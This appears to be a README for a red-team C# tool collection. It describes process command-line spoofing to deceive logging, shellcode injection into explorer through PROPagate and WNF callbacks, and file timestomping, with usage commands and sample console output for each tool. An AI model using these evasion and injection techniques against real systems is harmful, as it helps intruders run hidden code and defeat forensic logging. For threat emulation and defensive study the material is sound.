The king is dead, long live the king. I am starting a new repo with code samples in C#. My heart is still with PowerShell <3, lets face it using in-line C# in PowerShell is a much nicer experience than actually using C#! However, threat emulation has to evolve over time and so does the tooling.
SwampThing lets you to spoof process command line args (x32/64). Essentially you create a process in a suspended state, rewrite the PEB, resume and finally revert the PEB. The end result is that logging infrastructure will record the fake command line args instead of the real ones. Think for example about launching a wmic xsl stylesheet for code execution but faking an innocuous wmic command.
C:\>SwampThing.exe -l C:\Windows\System32\notepad.exe -f C:\aaa.txt -r C:\bbb.txt
/
:; \
|l _____ |;
`8o __-~ ~\ d| Swamp
"88p;. -._\_;.oP Thing
`>,% (\ (\./)8"
,;%%%: ./V^^^V'
;;;,-::::::'_::\ ||\
8888oooooo. :\`^^^/,,~--._
oo.8888888888:`((( o.ooo888
`o`88888888b` )) 888b8888
b`888888888;(.,"888b888\
.... b`8888888:::::.`8888.
`:::. `:::OOO:::::::.`OO' ;
`. "``::::::''.' ~ b33f ~
[>] CreateProcess -> Suspended
[ ] PE Arch : 64-bit
[ ] Process Id : 10568
[ ] PEB Base : 0xA3C2431000
[ ] RTL_USER_PROCESS_PARAMETERS : 0x20DA9760000
[ ] CommandLine : 0x20DA9760070
[ ] UNICODE_STRING |-> Len : 66
|-> MaxLen : 68
|-> pBuff : 0x20DA9760658
[>] Rewrite -> RTL_USER_PROCESS_PARAMETERS
[ ] RtlCreateProcessParametersEx : 0xEAADF0
[ ] RemoteAlloc : 0xEA0000
[ ] Size : 1776
[?] Success, sleeping 500ms..
[>] Reverting RTL_USER_PROCESS_PARAMETERS
[ ] Local UNICODE_STRING : 0xEBC4D0
[ ] Remote UNICODE_STRING.Buffer : 0x20DA9B10000
[ ] pRTL_USER_PROCESS_PARAMETERS : 0x20DA9870FE0
[?] Success rewrote Len, MaxLen, Buffer..
DesertNut is a proof-of-concept for code injection using subclassed window callbacks (more commonly known as PROPagate). The pertinent part here is that this does not use any suspect thread creation API's, instead as implied it hijacks window callbacks. DesertNut includes two flags: "-l" to list all potential properties that could be hijacked and "-i" to inject shellcode into explorer and execute notepad. Note that this POC is only designed for x64 (tested on Win10 RS5 & Win7) since it requires custom shellcode with a specific callback function prototype. For further details please see this post by Hexacorn and this post by modexp.
C:\> DesertNut.exe -i
, ' . ' ,
. . ' . ,
. '
.-'''''-.
.' `. . ________||
___ : : | / || . '___
____/ \ : : ||. _/ || ||\_______/ \
/ \ : _/| : `|| __/ ,.|| || \
/ , ' . \ : =/_/ : |'_______ || || || . \
| \__`._/ | .' ___| \__ \\|| ||... , \
l|, ' ( / ,|...-' \ ' , __\||_//___
___|____ \_/^\/||__ , . ,__ ||// \ . ,
_/~ `''~`'` \_ ''( ....,||/ '
..,... __/ -'/ `-._ `\_\__ | \ || _______ .
'` `\ \ \-.\ /(_1_,.. || /
______/''''
[ ] Searching for Subclass property..
[>] PID: 10928, ImageName: explorer
|-> ParentClassName: Progman, ChildClassName: SHELLDLL_DefView
[ ] Duplicating Subclass header..
[>] hProc: 0x378
[>] hProperty: 0x6B14DD0
|-> uRefs: 2, uAlloc: 3, uCleanup: 0
|-> dwThreadId: 5804, pFrameCur: 0
|-> pfnSubclass: 0x7FFA20E42280 --> comctl32!CallOriginalWndProc (?)
|-> uIdSubclass: 0, dwRefData: 0x7FFA2E4C07D0
[ ] Allocating remote shellcode..
|-> Sc Len: 344
|-> Sc Address: 0x3220000
[ ] Rewriting local SUBCLASS_HEADER..
[ ] Allocating remote SUBCLASS_HEADER..
|-> Subclass header Len: 48
|-> Subclass header Address: 0x3260000
[ ] Updating original UxSubclassInfo subclass procedure..
[ ] Trigger remote shellcode --> notepad..
[ ] Restoring original UxSubclassInfo subclass procedure..
[ ] Freeing remote SUBCLASS_HEADER & shellcode..
C:\> DesertNut.exe -l
, ' . ' ,
. . ' . ,
. '
.-'''''-.
.' `. . ________||
___ : : | / || . '___
____/ \ : : ||. _/ || ||\_______/ \
/ \ : _/| : `|| __/ ,.|| || \
/ , ' . \ : =/_/ : |'_______ || || || . \
| \__`._/ | .' ___| \__ \\|| ||... , \
l|, ' ( / ,|...-' \ ' , __\||_//___
___|____ \_/^\/||__ , . ,__ ||// \ . ,
_/~ `''~`'` \_ ''( ....,||/ '
..,... __/ -'/ `-._ `\_\__ | \ || _______ .
'` `\ \ \-.\ /(_1_,.. || /
______/''''
[ ] Subclassed Window Properties
[>] PID: 10928, ImageName: explorer
|-> hProperty: 0x1BC84BF0, hParentWnd: 0xA0710, hChildWnd: 0x100650
|-> ParentClassName: Shell_TrayWnd, ChildClassName: Start
[>] PID: 10928, ImageName: explorer
|-> hProperty: 0x1BC84C70, hParentWnd: 0xA0710, hChildWnd: 0x1C064C
|-> ParentClassName: Shell_TrayWnd, ChildClassName: TrayDummySearchControl
[>] PID: 10928, ImageName: explorer
|-> hProperty: 0x12A64F0, hParentWnd: 0x1C064C, hChildWnd: 0x800E8
|-> ParentClassName: TrayDummySearchControl, ChildClassName: Button
[>] PID: 10928, ImageName: explorer
|-> hProperty: 0x12A58F0, hParentWnd: 0x1C064C, hChildWnd: 0x1504A4
|-> ParentClassName: TrayDummySearchControl, ChildClassName: Static
[>] PID: 10928, ImageName: explorer
|-> hProperty: 0x12A5870, hParentWnd: 0x1C064C, hChildWnd: 0x110814
|-> ParentClassName: TrayDummySearchControl, ChildClassName: ToolbarWindow32
[...Snipped...]
WindfarmDynamite is a proof-of-concept for code injection using the Windows Notification Facility (WNF). Of interest here is that this avoids suspect thread orchestration APIs (like CreateRemoteThread). The POC overwrites a process level WNF subscription callback which can be triggered by signaling a WNF state name. There currently exists little functionality in Windows to monitor WNF activity. WindfarmDynamite includes two flags: "-l PID" to list all WNF subscriptions for a specific process and "-i" to inject shellcode into explorer and execute notepad. Note that this POC is only designed for x64 (tested on Win10). For further details please see this talk by Alex Ionescu & Gabrielle Viala and this post by modexp.
C:\> WindfarmDynamite.exe -i
. .. ..___ .__ ,
| ||\ |[__ _.._.._ _ | \ .._ _.._ _ *- - _
|/\|| \|| (_][ [ | )|__/\_|[ )(_][ | )| | (/,
._|
[ ] Validating Process..
[>] PID: 996, ImageName: explorer
|-> hProc: 632, Arch: x64
[ ] Leaking local WNF_SUBSCRIPTION_TABLE..
[>] TblPtr: 0x7FFD99CB5FA8, NtdllRVA: 1335208
[ ] Remote WNF_SUBSCRIPTION_TABLE lookup..
[>] rNtdllBase: 0x7FFD99B70000, rWNFSubTable: 0x5A9120
|-> NameTable Flink: 0x4A6CA10, NameTable Blink: 0x5BB050
[ ] Finding remote subscription -> WNF_SHEL_LOGON_COMPLETE
[>] SubscriptionId: 0xB89, State Name: WNF_SHEL_LOGON_COMPLETE
|-> WNF_USER_SUBSCRIPTION: 0x49C8E38
|-> Callback: 0x7FFD82F58C60 => twinui.dll!DllCanUnloadNow
|-> Context: 0x2A12F40 => N/A
[ ] Allocating remote shellcode..
[>] Sc Len: 344
[>] Sc Address: 0x27A0000
[ ] Rewriting WNF subscription callback pointer..
[ ] NtUpdateWnfStateData -> Trigger shellcode
[ ] Restoring WNF subscription callback pointer & deallocating shellcode..
C:\> WindfarmDynamite.exe -l 4132
. .. ..___ .__ ,
| ||\ |[__ _.._.._ _ | \ .._ _.._ _ *- - _
|/\|| \|| (_][ [ | )|__/\_|[ )(_][ | )| | (/,
._|
[ ] Validating Process..
[>] PID: 4132, ImageName: vmtoolsd
|-> hProc: 640, Arch: x64
[ ] Leaking local WNF_SUBSCRIPTION_TABLE..
[>] TblPtr: 0x7FFD99CB5FA8, NtdllRVA: 1335208
[ ] Remote WNF_SUBSCRIPTION_TABLE lookup..
[>] rNtdllBase: 0x7FFD99B70000, rWNFSubTable: 0x56B2F0
|-> NameTable Flink: 0x58EA30, NameTable Blink: 0x58F070
[ ] Reading remote WNF subscriptions..
[>] SubscriptionId: 0x931, State Name: WNF_ENTR_EDPENFORCEMENTLEVEL_POLICY_VALUE_CHANGED
|-> WNF_USER_SUBSCRIPTION: 0x4BB5B88
|-> Callback: 0x7FFD87505DF0 => edputil.dll!EdpIsUIPolicyEvaluationEnabledForThread
|-> Context: 0x0 => N/A
[>] SubscriptionId: 0x8FA, State Name: WNF_DX_MODE_CHANGE_NOTIFICATION
|-> WNF_USER_SUBSCRIPTION: 0x5B9658
|-> Callback: 0x7FFD96E5B230 => SHCore.dll!Ordinal126
|-> Context: 0xA1ECB0 => N/A
[>] SubscriptionId: 0x8F9, State Name: WNF_DX_MONITOR_CHANGE_NOTIFICATION
|-> WNF_USER_SUBSCRIPTION: 0x5B9708
|-> Callback: 0x7FFD96E5B230 => SHCore.dll!Ordinal126
|-> Context: 0xA1ECB0 => N/A
[>] SubscriptionId: 0x8F8, State Name: WNF_SPI_LOGICALDPIOVERRIDE
|-> WNF_USER_SUBSCRIPTION: 0x5BA368
|-> Callback: 0x7FFD96E5B230 => SHCore.dll!Ordinal126
|-> Context: 0xA1ECB0 => N/A
[>] SubscriptionId: 0x8F4, State Name: WNF_RPCF_FWMAN_RUNNING
|-> WNF_USER_SUBSCRIPTION: 0x58F828
|-> Callback: 0x7FFD98610980 => rpcrt4.dll!NdrTypeSize
|-> Context: 0x0 => N/A
MaceTrap is a proof-of-concept for time stomping using SetFileTime. MaceTrap allows you to set the CreationTime / LastAccessTime / LastWriteTime for arbitrary files and folders. These elements can be changed individually, in bulk or can be duplicated from an existing file or folder. Time permitting I will update MaceTrap to include comprehensive PE compile time stomping as well (header, import table, export table, debug directory, resources and fixing up the checksum).
C:\> MaceTrap.exe
/-|-\ MACE
[ ||<<>><<>>|===|
\-|-/ TRAP ~b33f~
>--~~--> Args? <--~~--<
-l (-List) List FileTime information for a file or folder
-s (-Set) Set FileTime information for a file or folder
-d (-Duplicate) Duplicate FileTime information from a file or folder
-t (Time) String DateTime representation; requires quotes if it contains spaces. All
undefined elements are set randomly (YYYY-MM-DD is required!):
=> 1999-10-20
=> "2001-01-02 14:13"
=> "2019-02-19 01:01:01.111"
-c (-Create) Boolean flag, overwrite CreationTime
-a (-Access) Boolean flag, overwrite LastAccessTime
-w (-Write) Boolean flag, overwrite LastWriteTime
>--~~--> Usage? <--~~--<
# List all FileTime elements
MaceTrap.exe -l C:\Windows\System32\kernel32.dll
# TimeStomp all FileTime elements
MaceTrap.exe -s C:\Some\Target\file.folder -t "2019-02-19 01:01:01,111"
# TimeStomp CreationTime & LastWriteTime; here HH:MM:SS,MS are randomized
MaceTrap.exe -s C:\Some\Target\file.folder -t 1999-09-09 -c -w
# TimeStomp a file/folder by duplicating the FileTime information from an existing file/folder
MaceTrap.exe -s C:\Some\Target\file.folder -d C:\Windows\System32\kernel32.dll
While working on a side project I had to access out-of-process thread information, to do this I used NtQuerySystemInformation -> SystemProcessAndThreadInformation. As it may be helpful for reference I wrote a small wrapper round this function to list process and thread information for a specific PID. Note that I am not extracting all available information from SYSTEM_PROCESSES and SYSTEM_THREAD_INFORMATION, feel free to extend the output with a pull request.
C:\> SystemProcessAndThreadsInformation.exe -p 4508
[ ] Process Details
ImageName : powershell.exe
ProcessId : 4508
ParentPid : 8256
HandleCount : 701
ThreadCount : 25
SessionId : 1
Priority : 8
CreateTime : 0d:22h:0m:31s:876ms
UserTime : 0d:0h:0m:0s:328ms
KernelTime : 0d:0h:0m:0s:281ms
WorkingSetSize : 73.52734375 MB
PeakWorkingSetSize : 73.5859375 MB
PageFaultCount : 26896
[ ] Thread Details
[>] TID: 9832, Priority: 9
|-> StartAddress: 0x7FFB84833670
|-> Created: 0d:22h:0m:31s:876ms, uTime: 0d:0h:0m:0s:46ms, kTime: 0d:0h:0m:0s:93ms
|-> WaitTime: 5843708, WaitReason: UserRequest
|-> State: Wait, ContextSwitches: 232
[>] TID: 5552, Priority: 8
|-> StartAddress: 0x7FFB84833670
|-> Created: 0d:22h:0m:31s:970ms, uTime: 0d:0h:0m:0s:15ms, kTime: 0d:0h:0m:0s:15ms
|-> WaitTime: 5843460, WaitReason: WrQueue
|-> State: Wait, ContextSwitches: 38
[>] TID: 15716, Priority: 8
|-> StartAddress: 0x7FFB84833670
|-> Created: 0d:22h:0m:31s:970ms, uTime: 0d:0h:0m:0s:15ms, kTime: 0d:0h:0m:0s:0ms
|-> WaitTime: 5843460, WaitReason: WrQueue
|-> State: Wait, ContextSwitches: 30
[...Snipped...]